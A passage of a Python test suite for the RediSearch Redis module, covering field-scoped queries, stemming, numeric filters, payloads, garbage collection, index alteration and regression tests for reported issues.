'field.with,punct', 'punt')) env.assertOk(r.execute_command('ft.add', 'idx', 'doc2', 0.5, 'fields', 'BoDy', 'hello world', 'TiTle', 'foo bar', 'יוניקוד', 'unicode', 'field.with,punct', 'punt')) res = r.execute_command( 'ft.search', 'idx', '@TiTle:hello world', 'nocontent') env.assertEqual(res, [1, 'doc1']) res = r.execute_command( 'ft.search', 'idx', '@BoDy:hello world', 'nocontent') env.assertEqual(res, [1, 'doc2']) res = r.execute_command( 'ft.search', 'idx', '@BoDy:hello @TiTle:world', 'nocontent') env.assertEqual(res, [0]) res = r.execute_command( 'ft.search', 'idx', '@BoDy:hello world @TiTle:world', 'nocontent') env.assertEqual(res, [0]) res = r.execute_command( 'ft.search', 'idx', '@BoDy:(hello|foo) @TiTle:(world|bar)', 'nocontent') env.assertEqual(sorted(res), sorted([2, 'doc1', 'doc2'])) res = r.execute_command( 'ft.search', 'idx', '@BoDy:(hello|foo world|bar)', 'nocontent') env.assertEqual(sorted(res), sorted([2, 'doc1', 'doc2'])) res = r.execute_command( 'ft.search', 'idx', '@BoDy|TiTle:(hello world)', 'nocontent') env.assertEqual(sorted(res), sorted([2, 'doc1', 'doc2'])) res = r.execute_command( 'ft.search', 'idx', '@יוניקוד:(unicode)', 'nocontent') env.assertEqual(sorted(res), sorted([2, 'doc1', 'doc2'])) res = r.execute_command( 'ft.search', 'idx', '@field\\.with\\,punct:(punt)', 'nocontent') env.assertEqual(sorted(res), sorted([2, 'doc1', 'doc2'])) def testStemming(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'schema', 'title', 'text')) env.assertOk(r.execute_command('ft.add', 'idx', 'doc1', 0.5, 'fields', 'title', 'hello kitty')) env.assertOk(r.execute_command('ft.add', 'idx', 'doc2', 1.0, 'fields', 'title', 'hello kitties')) res = r.execute_command( 'ft.search', 'idx', 'hello kitty', "nocontent") env.assertEqual(3, len(res)) env.assertEqual(2, res[0]) res = r.execute_command( 'ft.search', 'idx', 'hello kitty', "nocontent", "verbatim") env.assertEqual(2, len(res)) env.assertEqual(1, res[0]) # test for unknown language with env.assertResponseError(): res = r.execute_command( 'ft.search', 'idx', 'hello kitty', "nocontent", "language", "foofoofian") def testExpander(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'schema', 'title', 'text')) env.assertOk(r.execute_command('ft.add', 'idx', 'doc1', 0.5, 'fields', 'title', 'hello kitty')) res = r.execute_command( 'ft.search', 'idx', 'kitties', "nocontent", "expander", "SBSTEM" ) env.assertEqual(2, len(res)) env.assertEqual(1, res[0]) res = r.execute_command( 'ft.search', 'idx', 'kitties', "nocontent", "expander", "noexpander") env.assertEqual(1, len(res)) env.assertEqual(0, res[0]) res = r.execute_command( 'ft.search', 'idx', 'kitti', "nocontent") env.assertEqual(2, len(res)) env.assertEqual(1, res[0]) res = r.execute_command( 'ft.search', 'idx', 'kitti', "nocontent", 'verbatim') env.assertEqual(1, len(res)) env.assertEqual(0, res[0]) # Calling a stem directly works even with VERBATIM. # You need to use the + prefix escaped res = r.execute_command( 'ft.search', 'idx', '\\+kitti', "nocontent", 'verbatim') env.assertEqual(2, len(res)) env.assertEqual(1, res[0]) def testNumericRange(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'schema', 'title', 'text', 'score', 'numeric', 'price', 'numeric')) env.expect('ft.search', 'idx', 'hello kitty', 'filter', 'score', 5).error().contains("FILTER requires 3 arguments") env.expect('ft.search', 'idx', 'hello kitty', 'filter', 'score', 5, 'inf').error().contains("Bad upper range: inf") env.expect('ft.search', 'idx', 'hello kitty', 'filter', 'score', 'inf', 5).error().contains("Bad lower range: inf") for i in xrange(100): env.assertOk(r.execute_command('ft.add', 'idx', 'doc%d' % i, 1, 'fields', 'title', 'hello kitty', 'score', i, 'price', 100 + 10 * i)) for _ in r.retry_with_rdb_reload(): waitForIndex(env, 'idx') res = r.execute_command('ft.search', 'idx', 'hello kitty', "nocontent", "filter", "score", 0, 100) env.assertEqual(11, len(res)) env.assertEqual(100, res[0]) res = r.execute_command('ft.search', 'idx', 'hello kitty', "nocontent", "filter", "score", 0, 50) env.assertEqual(51, res[0]) res = r.execute_command('ft.search', 'idx', 'hello kitty', 'verbatim', "nocontent", "limit", 0, 100, "filter", "score", "(0", "(50") env.assertEqual(49, res[0]) res = r.execute_command('ft.search', 'idx', 'hello kitty', "nocontent", "filter", "score", "-inf", "+inf") env.assertEqual(100, res[0]) # test multi filters scrange = (19, 90) prrange = (290, 385) res = r.execute_command('ft.search', 'idx', 'hello kitty', "filter", "score", scrange[ 0], scrange[1], "filter", "price", prrange[0], prrange[1]) # print res for doc in res[2::2]: sc = int(doc[doc.index('score') + 1]) pr = int(doc[doc.index('price') + 1]) env.assertTrue(sc >= scrange[0] and sc <= scrange[1]) env.assertGreaterEqual(pr, prrange[0]) env.assertLessEqual(pr, prrange[1]) env.assertEqual(10, res[0]) res = r.execute_command('ft.search', 'idx', 'hello kitty', "filter", "score", "19", "90", "filter", "price", "90", "185") env.assertEqual(0, res[0]) # Test numeric ranges as part of query syntax res = r.execute_command( 'ft.search', 'idx', 'hello kitty @score:[0 100]', "nocontent") env.assertEqual(11, len(res)) env.assertEqual(100, res[0]) res = r.execute_command( 'ft.search', 'idx', 'hello kitty @score:[0 50]', "nocontent") env.assertEqual(51, res[0]) res = r.execute_command( 'ft.search', 'idx', 'hello kitty @score:[(0 (50]', 'verbatim', "nocontent") env.assertEqual(49, res[0]) res = r.execute_command( 'ft.search', 'idx', '@score:[(0 (50]', 'verbatim', "nocontent") env.assertEqual(49, res[0]) res = r.execute_command( 'ft.search', 'idx', 'hello kitty -@score:[(0 (50]', 'verbatim', "nocontent") env.assertEqual(51, res[0]) res = r.execute_command( 'ft.search', 'idx', 'hello kitty @score:[-inf +inf]', "nocontent") env.assertEqual(100, res[0]) def testPayload(env): r = env env.expect('ft.create', 'idx', 'ON', 'HASH', 'PAYLOAD_FIELD', '__payload', 'schema', 'f', 'text').ok() for i in range(10): r.expect('ft.add', 'idx', '%d' % i, 1.0, 'payload', 'payload %d' % i, 'fields', 'f', 'hello world').ok() for x in r.retry_with_rdb_reload(): waitForIndex(env, 'idx') res = r.execute_command('ft.search', 'idx', 'hello world') r.assertEqual(21, len(res)) res = r.execute_command('ft.search', 'idx', 'hello world', 'withpayloads') r.assertEqual(31, len(res)) r.assertEqual(10, res[0]) for i in range(1, 30, 3): r.assertEqual(res[i + 1], 'payload %s' % res[i]) def testGarbageCollector(env): env.skipOnCluster() if env.moduleArgs is not None and 'GC_POLICY FORK' in env.moduleArgs: # this test is not relevent for fork gc cause its not cleaning the last block raise unittest.SkipTest() N = 100 r = env r.expect('ft.create', 'idx', 'ON', 'HASH', 'schema', 'foo', 'text').ok() waitForIndex(r, 'idx') for i in range(N): r.expect('ft.add', 'idx', 'doc%d' % i, 1.0, 'fields', 'foo', ' '.join(('term%d' % random.randrange(0, 10) for i in range(10)))).ok() def get_stats(r): res = r.execute_command('ft.info', 'idx') d = {res[i]: res[i + 1] for i in range(0, len(res), 2)} gc_stats = {d['gc_stats'][x]: float( d['gc_stats'][x + 1]) for x in range(0, len(d['gc_stats']), 2)} d['gc_stats'] = gc_stats return d stats = get_stats(r) if 'current_hz' in stats['gc_stats']: env.assertGreater(stats['gc_stats']['current_hz'], 8) env.assertEqual(0, stats['gc_stats']['bytes_collected']) env.assertGreater(int(stats['num_records']), 0) initialIndexSize = float(stats['inverted_sz_mb']) * 1024 * 1024 for i in range(N): r.expect('ft.del', 'idx', 'doc%d' % i).equal(1) for _ in range(100): # gc is random so we need to do it long enough times for it to work env.cmd('ft.debug', 'GC_FORCEINVOKE', 'idx') stats = get_stats(r) env.assertEqual(0, int(stats['num_docs'])) env.assertEqual(0, int(stats['num_records'])) if not env.is_cluster(): env.assertEqual(100, int(stats['max_doc_id'])) if 'current_hz' in stats['gc_stats']: env.assertGreater(stats['gc_stats']['current_hz'], 30) currentIndexSize = float(stats['inverted_sz_mb']) * 1024 * 1024 # print initialIndexSize, currentIndexSize, # stats['gc_stats']['bytes_collected'] env.assertGreater(initialIndexSize, currentIndexSize) env.assertGreater(stats['gc_stats'][ 'bytes_collected'], currentIndexSize) for i in range(10): res = r.execute_command('ft.search', 'idx', 'term%d' % i) env.assertEqual([0], res) def testReturning(env): env.assertCmdOk('ft.create', 'idx', 'ON', 'HASH', 'schema', 'f1', 'text', 'f2', 'text', 'n1', 'numeric', 'sortable', 'f3', 'text') for i in range(10): env.assertCmdOk('ft.add', 'idx', 'DOC_{0}'.format(i), 1.0, 'fields', 'f2', 'val2', 'f1', 'val1', 'f3', 'val3', 'n1', i) # RETURN 0. Simplest case for x in env.retry_with_reload(): waitForIndex(env, 'idx') res = env.cmd('ft.search', 'idx', 'val*', 'return', '0') env.assertEqual(11, len(res)) env.assertEqual(10, res[0]) for r in res[1:]: env.assertTrue(r.startswith('DOC_')) for field in ('f1', 'f2', 'f3', 'n1'): res = env.cmd('ft.search', 'idx', 'val*', 'return', 1, field) env.assertEqual(21, len(res)) env.assertEqual(10, res[0]) for pair in grouper(res[1:], 2): docname, fields = pair env.assertEqual(2, len(fields)) env.assertEqual(field, fields[0]) env.assertTrue(docname.startswith('DOC_')) # Test that we don't return SORTBY fields if they weren't specified # also in RETURN res = env.cmd('ft.search', 'idx', 'val*', 'return', 1, 'f1', 'sortby', 'n1', 'ASC') row = res[2] # get the first result env.assertEqual(['f1', 'val1'], row) # Test when field is not found res = env.cmd('ft.search', 'idx', 'val*', 'return', 1, 'nonexist') env.assertEqual(21, len(res)) env.assertEqual(10, res[0]) # # Test that we don't crash if we're given the wrong number of fields with env.assertResponseError(): res = env.cmd('ft.search', 'idx', 'val*', 'return', 700, 'nonexist') def _test_create_options_real(env, *options): options = [x for x in options if x] has_offsets = 'NOOFFSETS' not in options has_fields = 'NOFIELDS' not in options has_freqs = 'NOFREQS' not in options try: env.cmd('ft.drop', 'idx') # RS 2.0 ft.drop does not remove documents env.flush() except Exception as e: pass options = ['idx'] + options + ['ON', 'HASH', 'schema', 'f1', 'text', 'f2', 'text'] env.assertCmdOk('ft.create', *options) for i in range(10): env.assertCmdOk('ft.add', 'idx', 'doc{}'.format( i), 0.5, 'fields', 'f1', 'value for {}'.format(i)) # Query # res = env.cmd('ft.search', 'idx', "value for 3") # if not has_offsets: # env.assertIsNone(res) # else: # env.assertIsNotNone(res) # Frequencies: env.assertCmdOk('ft.add', 'idx', 'doc100', 1.0, 'fields', 'f1', 'foo bar') env.assertCmdOk('ft.add', 'idx', 'doc200', 1.0, 'fields', 'f1', ('foo ' * 10) + ' bar') res = env.cmd('ft.search', 'idx', 'foo') env.assertEqual(2, res[0]) if has_offsets: docname = res[1] if has_freqs: # changed in minminheap PR. TODO: remove env.assertEqual('doc100', docname) else: env.assertEqual('doc100', docname) env.assertCmdOk('ft.add', 'idx', 'doc300', 1.0, 'fields', 'f1', 'Hello') res = env.cmd('ft.search', 'idx', '@f2:Hello') if has_fields: env.assertEqual(1, len(res)) else: env.assertEqual(3, len(res)) def testCreationOptions(env): from itertools import combinations for x in range(1, 5): for combo in combinations(('NOOFFSETS', 'NOFREQS', 'NOFIELDS', ''), x): _test_create_options_real(env, *combo) env.expect('ft.create', 'idx').error() def testInfoCommand(env): from itertools import combinations r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'NOFIELDS', 'schema', 'title', 'text')) N = 50 for i in xrange(N): env.assertOk(r.execute_command('ft.add', 'idx', 'doc%d' % i, 1, 'replace', 'fields', 'title', 'hello term%d' % i)) for _ in r.retry_with_rdb_reload(): waitForIndex(env, 'idx') res = r.execute_command('ft.info', 'idx') d = {res[i]: res[i + 1] for i in range(0, len(res), 2)} env.assertEqual(d['index_name'], 'idx') env.assertEqual(d['index_options'], ['NOFIELDS']) env.assertListEqual( d['fields'], [['title', 'type', 'TEXT', 'WEIGHT', '1']]) if not env.is_cluster(): env.assertEquals(int(d['num_docs']), N) env.assertEquals(int(d['num_terms']), N + 1) env.assertEquals(int(d['max_doc_id']), N) env.assertEquals(int(d['records_per_doc_avg']), 2) env.assertEquals(int(d['num_records']), N * 2) env.assertGreater(float(d['offset_vectors_sz_mb']), 0) env.assertGreater(float(d['key_table_size_mb']), 0) env.assertGreater(float(d['inverted_sz_mb']), 0) env.assertGreater(float(d['bytes_per_record_avg']), 0) env.assertGreater(float(d['doc_table_size_mb']), 0) for x in range(1, 5): for combo in combinations(('NOOFFSETS', 'NOFREQS', 'NOFIELDS', ''), x): combo = list(filter(None, combo)) options = combo + ['schema', 'f1', 'text'] try: env.cmd('ft.drop', 'idx') except: pass env.assertCmdOk('ft.create', 'idx', 'ON', 'HASH', *options) info = env.cmd('ft.info', 'idx') ix = info.index('index_options') env.assertFalse(ix == -1) opts = info[ix + 1] # make sure that an empty opts string returns no options in # info if not combo: env.assertListEqual([], opts) for option in filter(None, combo): env.assertTrue(option in opts) def testNoStem(env): env.cmd('ft.create', 'idx', 'ON', 'HASH', 'schema', 'body', 'text', 'name', 'text', 'nostem') if not env.isCluster(): # todo: change it to be more generic to pass on is_cluster res = env.cmd('ft.info', 'idx') env.assertEqual(res[7][1][5], 'NOSTEM') for _ in env.retry_with_reload(): waitForIndex(env, 'idx') try: env.cmd('ft.del', 'idx', 'doc') except redis.ResponseError: pass # Insert a document env.assertCmdOk('ft.add', 'idx', 'doc', 1.0, 'fields', 'body', "located", 'name', "located") # Now search for the fields res_body = env.cmd('ft.search', 'idx', '@body:location') res_name = env.cmd('ft.search', 'idx', '@name:location') env.assertEqual(0, res_name[0]) env.assertEqual(1, res_body[0]) def testSortbyMissingField(env): # GH Issue 131 env.cmd('ft.create', 'ix', 'ON', 'HASH', 'schema', 'txt', 'text', 'num', 'numeric', 'sortable') env.cmd('ft.add', 'ix', 'doc1', 1.0, 'fields', 'txt', 'foo') env.cmd('ft.search', 'ix', 'foo', 'sortby', 'num') def testParallelIndexing(env): # GH Issue 207 env.cmd('ft.create', 'idx', 'ON', 'HASH', 'schema', 'txt', 'text') from threading import Thread env.getConnection() ndocs = 100 def runner(tid): cli = env.getConnection() for num in range(ndocs): cli.execute_command('ft.add', 'idx', 'doc{}_{}'.format(tid, num), 1.0, 'fields', 'txt', 'hello world' * 20) ths = [] for tid in range(10): ths.append(Thread(target=runner, args=(tid,))) [th.start() for th in ths] [th.join() for th in ths] res = env.cmd('ft.info', 'idx') d = {res[i]: res[i + 1] for i in range(0, len(res), 2)} env.assertEqual(1000, int(d['num_docs'])) def testDoubleAdd(env): # Tests issue #210 env.cmd('ft.create', 'idx', 'ON', 'HASH', 'schema', 'txt', 'text') env.cmd('ft.add', 'idx', 'doc1', 1.0, 'fields', 'txt', 'hello world') with env.assertResponseError(): env.cmd('ft.add', 'idx', 'doc1', 1.0, 'fields', 'txt', 'goodbye world') env.assertEqual('hello world', env.cmd('ft.get', 'idx', 'doc1')[1]) env.assertEqual(0, env.cmd('ft.search', 'idx', 'goodbye')[0]) env.assertEqual(1, env.cmd('ft.search', 'idx', 'hello')[0]) # Now with replace env.cmd('ft.add', 'idx', 'doc1', 1.0, 'replace', 'fields', 'txt', 'goodbye world') env.assertEqual(1, env.cmd('ft.search', 'idx', 'goodbye')[0]) env.assertEqual(0, env.cmd('ft.search', 'idx', 'hello')[0]) env.assertEqual('goodbye world', env.cmd('ft.get', 'idx', 'doc1')[1]) def testConcurrentErrors(env): from multiprocessing import Process import random env.cmd('ft.create', 'idx', 'ON', 'HASH', 'schema', 'txt', 'text') docs_per_thread = 100 num_threads = 50 docIds = ['doc{}'.format(x) for x in range(docs_per_thread)] def thrfn(): myIds = docIds[::] random.shuffle(myIds) cli = env.getConnection() with cli.pipeline(transaction=False) as pl: for x in myIds: pl.execute_command('ft.add', 'idx', x, 1.0, 'fields', 'txt', ' hello world ' * 50) try: pl.execute() except Exception as e: pass # print e thrs = [Process(target=thrfn) for x in range(num_threads)] [th.start() for th in thrs] [th.join() for th in thrs] res = env.cmd('ft.info', 'idx') d = {res[i]: res[i + 1] for i in range(0, len(res), 2)} env.assertEqual(100, int(d['num_docs'])) def testBinaryKeys(env): env.cmd('ft.create', 'idx', 'ON', 'HASH', 'schema', 'txt', 'text') # Insert a document env.cmd('ft.add', 'idx', 'Hello', 1.0, 'fields', 'txt', 'NoBin match') env.cmd('ft.add', 'idx', 'Hello\x00World', 1.0, 'fields', 'txt', 'Bin match') for _ in env.reloading_iterator(): waitForIndex(env, 'idx') exp = [2L, 'Hello\x00World', ['txt', 'Bin match'], 'Hello', ['txt', 'NoBin match']] res = env.cmd('ft.search', 'idx', 'match') for r in res: env.assertIn(r, exp) def testNonDefaultDb(env): if env.is_cluster(): raise unittest.SkipTest() # Should be ok env.cmd('FT.CREATE', 'idx1', 'ON', 'HASH', 'schema', 'txt', 'text') try: env.cmd('SELECT 1') except redis.ResponseError: return # Should fail with env.assertResponseError(): env.cmd('FT.CREATE', 'idx2', 'ON', 'HASH', 'schema', 'txt', 'text') def testDuplicateNonspecFields(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'schema', 'txt', 'text').ok() env.expect('FT.ADD', 'idx', 'doc', 1.0, 'fields', 'txt', 'foo', 'f1', 'f1val', 'f1', 'f1val2', 'F1', 'f1Val3').ok() res = env.cmd('ft.get', 'idx', 'doc') res = {res[i]: res[i + 1] for i in range(0, len(res), 2)} env.assertTrue(res['f1'] in ('f1val', 'f1val2')) env.assertEqual('f1Val3', res['F1']) def testDuplicateFields(env): # As of RS 2.0 it is allowed. only latest field will be saved and indexed env.cmd('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'txt', 'TEXT', 'num', 'NUMERIC', 'SORTABLE') env.expect('FT.ADD', 'idx', 'doc', 1.0, 'FIELDS', 'txt', 'foo', 'txt', 'bar', 'txt', 'baz').ok() env.expect('FT.SEARCH idx *').equal([1L, 'doc', ['txt', 'baz']]) def testDuplicateSpec(env): with env.assertResponseError(): env.cmd('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'f1', 'text', 'n1', 'numeric', 'f1', 'text') def testSortbyMissingFieldSparse(env): # Note, the document needs to have one present sortable field in # order for the indexer to give it a sort vector env.cmd('ft.create', 'idx', 'ON', 'HASH', 'SCHEMA', 'lastName', 'text', 'SORTABLE', 'firstName', 'text', 'SORTABLE') env.cmd('ft.add', 'idx', 'doc1', 1.0, 'fields', 'lastName', 'mark') res = env.cmd('ft.search', 'idx', 'mark', 'WITHSORTKEYS', "SORTBY", "firstName", "ASC", "limit", 0, 100) # commented because we don't filter out exclusive sortby fields # env.assertEqual([1L, 'doc1', None, ['lastName', 'mark']], res) def testLuaAndMulti(env): env.skip() # addhash isn't supported if env.is_cluster(): raise unittest.SkipTest() # Ensure we can work in Lua and Multi environments without crashing env.cmd('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'f1', 'text', 'n1', 'numeric') env.cmd('HMSET', 'hashDoc', 'f1', 'v1', 'n1', 4) env.cmd('HMSET', 'hashDoc2', 'f1', 'v1', 'n1', 5) r = env.getConnection() r.eval("return redis.call('ft.add', 'idx', 'doc1', 1.0, 'fields', 'f1', 'bar')", "0") r.eval("return redis.call('ft.addhash', 'idx', 'hashDoc', 1.0)", 0) # Try in a pipeline: with r.pipeline(transaction=True) as pl: pl.execute_command('ft.add', 'idx', 'doc2', 1.0, 'fields', 'f1', 'v3') pl.execute_command('ft.add', 'idx', 'doc3', 1.0, 'fields', 'f1', 'v4') pl.execute_command('ft.addhash', 'idx', 'hashdoc2', 1.0) pl.execute() def testLanguageField(env): env.cmd('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'language', 'TEXT') env.cmd('FT.ADD', 'idx', 'doc1', 1.0, 'FIELDS', 'language', 'gibberish') res = env.cmd('FT.SEARCH', 'idx', 'gibberish') env.assertEqual([1L, 'doc1', ['language', 'gibberish']], res) # The only way I can verify that LANGUAGE is parsed twice is ensuring we # provide a wrong language. This is much easier to test than trying to # figure out how a given word is stemmed with env.assertResponseError(): env.cmd('FT.ADD', 'idx', 'doc1', 1.0, 'LANGUAGE', 'blah', 'FIELDS', 'language', 'gibber') def testUninitSortvector(env): # This would previously crash env.cmd('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'f1', 'TEXT') for x in range(2000): env.cmd('FT.ADD', 'idx', 'doc{}'.format( x), 1.0, 'FIELDS', 'f1', 'HELLO') env.broadcast('SAVE') for x in range(10): env.broadcast('DEBUG RELOAD') def normalize_row(row): return to_dict(row) def assertAggrowsEqual(env, exp, got): env.assertEqual(exp[0], got[0]) env.assertEqual(len(exp), len(got)) # and now, it's just free form: exp = sorted(to_dict(x) for x in exp[1:]) got = sorted(to_dict(x) for x in got[1:]) env.assertEqual(exp, got) def assertResultsEqual(env, exp, got, inorder=True): from pprint import pprint # pprint(exp) # pprint(got) env.assertEqual(exp[0], got[0]) env.assertEqual(len(exp), len(got)) exp = list(grouper(exp[1:], 2)) got = list(grouper(got[1:], 2)) for x in range(len(exp)): exp_did, exp_fields = exp[x] got_did, got_fields = got[x] env.assertEqual(exp_did, got_did, message="at position {}".format(x)) got_fields = to_dict(got_fields) exp_fields = to_dict(exp_fields) env.assertEqual(exp_fields, got_fields, message="at position {}".format(x)) def testAlterIndex(env): env.cmd('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'f1', 'TEXT') env.cmd('FT.ADD', 'idx', 'doc1', 1.0, 'FIELDS', 'f1', 'hello', 'f2', 'world') env.cmd('FT.ALTER', 'idx', 'SCHEMA', 'ADD', 'f2', 'TEXT') waitForIndex(env, 'idx') env.cmd('FT.ADD', 'idx', 'doc2', 1.0, 'FIELDS', 'f1', 'hello', 'f2', 'world') # RS 2.0 reindex and after reload both documents are found # for _ in env.retry_with_reload(): res = env.cmd('FT.SEARCH', 'idx', 'world') env.assertEqual(toSortedFlatList(res), toSortedFlatList([2L, 'doc2', ['f1', 'hello', 'f2', 'world'], 'doc1', ['f1', 'hello', 'f2', 'world']])) # env.assertEqual([1, 'doc2', ['f1', 'hello', 'f2', 'world']], ret) env.cmd('FT.ALTER', 'idx', 'SCHEMA', 'ADD', 'f3', 'TEXT', 'SORTABLE') for x in range(10): env.cmd('FT.ADD', 'idx', 'doc{}'.format(x + 3), 1.0, 'FIELDS', 'f1', 'hello', 'f3', 'val{}'.format(x)) for _ in env.retry_with_reload(): waitForIndex(env, 'idx') # Test that sortable works res = env.cmd('FT.SEARCH', 'idx', 'hello', 'SORTBY', 'f3', 'DESC') exp = [12, 'doc12', ['f1', 'hello', 'f3', 'val9'], 'doc11', ['f1', 'hello', 'f3', 'val8'], 'doc10', ['f1', 'hello', 'f3', 'val7'], 'doc9', ['f1', 'hello', 'f3', 'val6'], 'doc8', ['f1', 'hello', 'f3', 'val5'], 'doc7', ['f1', 'hello', 'f3', 'val4'], 'doc6', ['f1', 'hello', 'f3', 'val3'], 'doc5', ['f1', 'hello', 'f3', 'val2'], 'doc4', ['f1', 'hello', 'f3', 'val1'], 'doc3', ['f1', 'hello', 'f3', 'val0']] assertResultsEqual(env, exp, res) # Test that we can add a numeric field env.cmd('FT.ALTER', 'idx', 'SCHEMA', 'ADD', 'n1', 'NUMERIC') env.cmd('FT.ADD', 'idx', 'docN1', 1.0, 'FIELDS', 'n1', 50) env.cmd('FT.ADD', 'idx', 'docN2', 1.0, 'FIELDS', 'n1', 250) for _ in env.retry_with_reload(): waitForIndex(env, 'idx') res = env.cmd('FT.SEARCH', 'idx', '@n1:[0 100]') env.assertEqual([1, 'docN1', ['n1', '50']], res) env.expect('FT.ALTER', 'idx', 'SCHEMA', 'NOT_ADD', 'f2', 'TEXT').error() env.expect('FT.ALTER', 'idx', 'SCHEMA', 'ADD').error() env.expect('FT.ALTER', 'idx', 'SCHEMA', 'ADD', 'f2').error() def testAlterValidation(env): # Test that constraints for ALTER comand env.cmd('FT.CREATE', 'idx1', 'ON', 'HASH', 'SCHEMA', 'f0', 'TEXT') for x in range(1, 32): env.cmd('FT.ALTER', 'idx1', 'SCHEMA', 'ADD', 'f{}'.format(x), 'TEXT') # OK for now. # Should be too many indexes env.assertRaises(redis.ResponseError, env.cmd, 'FT.ALTER', 'idx1', 'SCHEMA', 'ADD', 'tooBig', 'TEXT') env.cmd('FT.CREATE', 'idx2', 'MAXTEXTFIELDS', 'ON', 'HASH', 'SCHEMA', 'f0', 'TEXT') # print env.cmd('FT.INFO', 'idx2') for x in range(1, 50): env.cmd('FT.ALTER', 'idx2', 'SCHEMA', 'ADD', 'f{}'.format(x + 1), 'TEXT') env.cmd('FT.ADD', 'idx2', 'doc1', 1.0, 'FIELDS', 'f50', 'hello') for _ in env.retry_with_reload(): waitForIndex(env, 'idx2') ret = env.cmd('FT.SEARCH', 'idx2', '@f50:hello') env.assertEqual([1, 'doc1', ['f50', 'hello']], ret) env.cmd('FT.CREATE', 'idx3', 'ON', 'HASH', 'SCHEMA', 'f0', 'text') # Try to alter the index with garbage env.assertRaises(redis.ResponseError, env.cmd, 'FT.ALTER', 'idx3', 'SCHEMA', 'ADD', 'f1', 'TEXT', 'f2', 'garbage') ret = to_dict(env.cmd('ft.info', 'idx3')) env.assertEqual(1, len(ret['fields'])) env.assertRaises(redis.ResponseError, env.cmd, 'FT.ALTER', 'nonExist', 'SCHEMA', 'ADD', 'f1', 'TEXT') # test with no fields! env.assertRaises(redis.ResponseError, env.cmd, 'FT.ALTER', 'idx2', 'SCHEMA', 'ADD') # test with no fields! env.assertRaises(redis.ResponseError, env.cmd, 'FT.ALTER', 'idx2', 'SCHEMA', 'ADD') def testIssue366_2(env): # FT.CREATE atest SCHEMA textfield TEXT numfield NUMERIC # FT.ADD atest anId 1 PAYLOAD '{"hello":"world"}' FIELDS textfield sometext numfield 1234 # FT.ADD atest anId 1 PAYLOAD '{"hello":"world2"}' REPLACE PARTIAL FIELDS numfield 1111 # shutdown env.cmd('FT.CREATE', 'idx1', 'ON', 'HASH', 'SCHEMA', 'textfield', 'TEXT', 'numfield', 'NUMERIC') env.cmd('FT.ADD', 'idx1', 'doc1', 1, 'PAYLOAD', '{"hello":"world"}', 'FIELDS', 'textfield', 'sometext', 'numfield', 1234) env.cmd('ft.add', 'idx1', 'doc1', 1, 'PAYLOAD', '{"hello":"world2"}', 'REPLACE', 'PARTIAL', 'FIELDS', 'textfield', 'sometext', 'numfield', 1111) for _ in env.retry_with_reload(): pass # def testIssue654(env): # Crashes during FILTER env.cmd('ft.create', 'idx', 'ON', 'HASH', 'schema', 'id', 'numeric') env.cmd('ft.add', 'idx', 1, 1, 'fields', 'id', 1) env.cmd('ft.add', 'idx', 2, 1, 'fields', 'id', 2) res = env.cmd('ft.search', 'idx', '*', 'filter', '@version', 0, 2) def testReplaceReload(env): env.cmd('FT.CREATE', 'idx2', 'ON', 'HASH', 'SCHEMA', 'textfield', 'TEXT', 'numfield', 'NUMERIC') # Create a document and then replace it. env.cmd('FT.ADD', 'idx2', 'doc2', 1.0, 'FIELDS', 'textfield', 's1', 'numfield', 99) env.cmd('FT.ADD', 'idx2', 'doc2', 1.0, 'REPLACE', 'PARTIAL', 'FIELDS', 'textfield', 's100', 'numfield', 990) env.dump_and_reload() # RDB Should still be fine env.cmd('FT.ADD', 'idx2', 'doc2', 1.0, 'REPLACE', 'PARTIAL', 'FIELDS', 'textfield', 's200', 'numfield', 1090) doc = to_dict(env.cmd('FT.GET', 'idx2', 'doc2')) env.assertEqual('s200', doc['textfield']) env.assertEqual('1090', doc['numfield']) # command = 'FT.CREATE idx SCHEMA ' # for i in range(255): # command += 't%d NUMERIC SORTABLE ' % i # command = command[:-1] # r.execute_command(command) # r.execute_command('save') # // reload from ... # r.execute_command('FT.ADD idx doc1 1.0 FIELDS t0 1') def testIssue417(env): command = ['ft.create', 'idx', 'ON', 'HASH', 'schema'] for x in range(255): command += ['t{}'.format(x), 'numeric', 'sortable'] command = command[:-1] env.cmd(*command) for _ in env.reloading_iterator(): waitForIndex(env, 'idx') try: env.execute_command('FT.ADD', 'idx', 'doc1', '1.0', 'FIELDS', 't0', '1') except redis.ResponseError as e: env.assertTrue('already' in e.message.lower()) # >FT.CREATE myIdx SCHEMA title TEXT WEIGHT 5.0 body TEXT url TEXT # >FT.ADD myIdx doc1 1.0 FIELDS title "hello world" body "lorem ipsum" url "www.google.com" # >FT.SEARCH myIdx "no-as" # Could not connect to Redis at 127.0.0.1:6379: Connection refused # >FT.SEARCH myIdx "no-as" # (error) Unknown Index name def testIssue422(env): env.cmd('ft.create', 'myIdx', 'ON', 'HASH', 'schema', 'title', 'TEXT', 'WEIGHT', '5.0', 'body', 'TEXT', 'url', 'TEXT') env.cmd('ft.add', 'myIdx', 'doc1', '1.0', 'FIELDS', 'title', 'hello world', 'bod', 'lorem ipsum', 'url', 'www.google.com') rv = env.cmd('ft.search', 'myIdx', 'no-as') env.assertEqual([0], rv) def testIssue446(env): env.cmd('ft.create', 'myIdx', 'ON', 'HASH', 'schema', 'title', 'TEXT', 'SORTABLE') env.cmd('ft.add', 'myIdx', 'doc1', '1.0', 'fields', 'title', 'hello world', 'body', 'lorem ipsum', 'url', '"www.google.com') rv = env.cmd('ft.search', 'myIdx', 'hello', 'limit', '0', '0') env.assertEqual([1], rv) # Related - issue 635 env.cmd('ft.add', 'myIdx', 'doc2', '1.0', 'fields', 'title', 'hello') rv = env.cmd('ft.search', 'myIdx', 'hello', 'limit', '0', '0') env.assertEqual([2], rv) def testTimeout(env): env.skipOnCluster() num_range = 1000 env.cmd('ft.config', 'set', 'timeout', '1') env.cmd('ft.config', 'set', 'maxprefixexpansions', num_range) env.cmd('ft.create', 'myIdx', 